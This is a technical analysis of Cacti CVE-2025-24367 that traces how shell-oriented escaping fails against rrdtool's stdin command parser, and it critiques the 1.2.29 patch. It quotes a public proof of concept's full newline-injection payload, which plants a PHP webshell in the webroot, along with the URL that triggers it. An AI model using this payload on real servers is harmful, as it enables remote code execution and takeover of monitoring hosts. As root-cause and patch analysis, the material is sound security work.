The function escapes for an interpreter that is not in the call path
In Cacti 1.2.28, cacti_escapeshellarg is one function that does one thing on Unix. It calls PHP's escapeshellarg and returns the wrapped result.
function cacti_escapeshellarg($string, $quote = true) {
global $config;
if ($string == '') {
return $string;
}
/* we must use an apostrophe to escape community names under Unix in case the user uses
characters that the shell might interpret. the ucd-snmp binaries on Windows flip out when
you do this, but are perfectly happy with a quotation mark. */
if ($config['cacti_server_os'] == 'unix') {
$string = escapeshellarg($string);
if ($quote) {
return $string;
} else {
return substr($string, 1, (strlen($string)-2));
}
}
// ... windows branch follows
}
PHP's escapeshellarg wraps a string in single quotes and replaces any internal apostrophe with '\''. That is the correct, complete behavior for the POSIX shell. A shell receiving 'foo<NL>bar' sees one argument whose contents include a literal newline. Word splitting happens on whitespace before quoting is resolved; the shell does not split on newlines inside an open quote. The function is doing exactly what its name advertises.
The advertisement is the bug.
The sink is rrdtool's remote-mode REPL, reached over a pipe
lib/rrd.php:321 opens rrdtool once per render and feeds it commands across the lifetime of the request.
$process = proc_open(read_config_option('path_rrdtool') . ' - ' . $debug, $descriptorspec, $pipes);
if (!is_resource($process)) {
unset($process);
} else {
fwrite($pipes[0], escape_command($command_line) . "\r\nquit\r\n");
fclose($pipes[0]);
$fp = $pipes[1];
}
rrdtool - is rrdtool's documented remote control mode. The binary reads commands from stdin, executes each, prints the result on stdout, then loops. The shell that invoked rrdtool exited as soon as proc_open set up the pipe; from the moment that pipe is live the receiver of every byte Cacti writes is rrdtool's own line parser, not /bin/sh.
The function whose name advertises that destination is escape_command. In 1.2.28 it is a no-op.
function escape_command($command) {
return $command; # we escape every single argument now, no need for 'special' escaping
#return preg_replace("/(\\\$|`)/", "", $command); # current cacti code
#TODO return preg_replace((\\\$(?=\w+|\*|\@|\#|\?|\-|\\\$|\!|\_|[0-9]|\(.*\))|`(?=.*(?=`)))","$2", $command); #suggested by ldevantier to allow for a single $
}
The body is a one-line passthrough. The commented-out lines beside it are the previous, command-level escaping that has been removed in favor of per-argument escaping. The inline comment is the developer's audit conclusion in plain English: every argument is individually shell-escaped through cacti_escapeshellarg, so the command-level layer is redundant. Both halves of that conclusion are correct for a shell sink. Neither half is correct for the sink that is actually present.
The exploit lives in the newline that rrdtool reads and the shell would have absorbed
The PoC (dantedansh/CVE-2025-24367-Cacti-Exploit) authenticates, fetches the CSRF magic value, looks up the id of the "Unix - Logged in Users" graph template, and posts the following field into graph_templates.php?action=template_edit&id=...:
"right_axis_label": "DanNulty\ncreate my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200\ngraph danshell.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=`$_REQUEST[0]`;?>\n"
The newlines are literal \n bytes in the POST body. They are saved into the database as part of the template row. On the next graph render, rrdtool_function_graph reads the field back and assembles the rrdtool command. The relevant fragment in 1.2.28's lib/rrd.php:
case 'right_axis_label':
if (!empty($value)) {
$graph_opts .= '--right-axis-label ' . cacti_escapeshellarg($value) . RRD_NL;
}
Where RRD_NL is the rrdtool argument separator:
define('RRD_NL', " \\\n");
A space, a backslash, a newline. rrdtool's batch parser treats backslash-newline as line continuation, the way the shell does. Lines that end on a bare newline, without that trailing backslash, are command boundaries.
The buffer Cacti writes to rrdtool's stdin looks like this once the injected field is in place:
graph - \
--imgformat=SVG \
--start='1735903534' \
--end='1735903594' \
--title='Local Linux Machine - Advanced Ping' \
--vertical-label='milliseconds' \
--slope-mode \
--right-axis-label 'DanNulty
create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph danshell.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=`$_REQUEST[0]`;?>
' \
...
The single quote opened around DanNulty is a shell convention, faithfully produced by escapeshellarg. rrdtool is not a shell. Its stdin reader sees four logical commands separated by bare newlines:
graph - --imgformat=SVG ... --right-axis-label 'DanNulty. A malformed graph invocation with an unbalanced apostrophe. rrdtool errors out, prints a complaint to its stdout, and reads the next line.
create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200. A valid rrdtool create. The RRD database my.rrd is created in rrdtool's working directory. That working directory is whatever directory Cacti was running from, which on a typical install is the cacti webroot.
graph danshell.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=$_REQUEST[0];?>. A valid rrdtool graph in CSV output mode. The output file is danshell.php. The LINE1 label is <?=$_REQUEST[0]?>. rrdtool's CSV output writes the label as the column header on the first row, byte-for-byte.
' \. An orphan apostrophe followed by a continuation backslash, then the rest of the original graph command. rrdtool ignores it.
The PHP file that lands in the webroot is the CSV output of step 3:
"time","<?=`$_REQUEST[0]`;?>"
1735914000,"NaN"
PHP renders that file by reading the literal CSV bytes through to the <?= tag, executing the backtick expression on $_REQUEST[0], and writing the result back into the page. The PoC's last action is to walk graph_image.php?local_graph_id={i} for i in 1..19 to force a render of any graph that inherits the modified template, then to print the webshell URL:
GET /cacti/danshell.php?0=id
returns the output of id. The chain takes one authenticated POST and one unauthenticated GET sweep.
The 1.2.29 patch fixes the symptom and preserves the lie
Commit c7e4ee7 adds one functional line to cacti_escapeshellarg:
function cacti_escapeshellarg($string, $quote = true) {
global $config;
if (!isset($string)) {
return $string;
}
+ /* remove any carriage returns or line feeds from the argument */
+ $string = str_replace(array("\n", "\r"), array('', ''), $string);
+
if ($config['cacti_server_os'] == 'unix') {
$string = escapeshellarg($string);
The function's name does not change. Its doc comment, three lines higher, still reads "mimics escapeshellarg, even for windows." escape_command still returns its input unchanged. The architecture, a long-lived rrdtool process consuming a Cacti-assembled stream of shell-quoted arguments, is intact.
What changes is one fact: literal \n and \r no longer survive the wrap. The next character that rrdtool's batch parser treats as a command terminator and that PHP's escapeshellarg preserves is the next instance of this CVE. The list of candidates includes the form feed (\x0c), the vertical tab (\x0b), and whatever rrdtool decides to treat as a logical line break in future versions. Each one of those will pass through cacti_escapeshellarg unchanged because each one is unremarkable to the POSIX shell.
The patch was correct for the specific exploit. The fix that would close the bug class would either replace cacti_escapeshellarg with a rrdtool-aware sanitizer, or move the per-argument boundary out of stdin (one rrdtool invocation per command via argv, paying the fork cost), or rename the function honestly and audit every caller for which sink it actually feeds. The 1.2.29 commit does none of these.
The pattern
The escape function and the sink it feeds disagree about what the language is. cacti_escapeshellarg is written, named, and documented for the POSIX shell. PHP's underlying escapeshellarg is correct for the POSIX shell. The actual destination is rrdtool's interactive command parser, reached via proc_open(path_rrdtool . ' - ') and fwrite into stdin. Between Cacti's quote-wrap and rrdtool's read loop, there is no shell. The wrap does not bind.
This is a class of bug the catalog has not had a name for. It is the inverse of Sanitized The Secrets, Not The Sink: in that pattern the sanitizer is correct but is not applied to the field that reaches the sink. Here the sanitizer is applied to every field, but the sanitizer is correct for an interpreter the field never reaches. Call the new shape The Shell Was Not The Sink. Every member of the family has the same signature: a sanitizer function whose name claims one interpreter, applied uniformly to inputs that flow into a different one.
Cacti has had a long sequence of rrdtool injection CVEs against the same long-lived REPL architecture: the rrdtool-pipe component is a Design Debt Driver. The design choice that produces the family is the choice to run one rrdtool per render, fed by string-concatenated commands over stdin, sanitized at the argument boundary by a function written for the shell. Each instance ships a one-line fix against the specific separator that broke the wrap. The architecture survives every patch.
PoC: dantedansh/CVE-2025-24367-Cacti-Exploit
The 1.2.29 patch strips the newlines. It does not rename the function.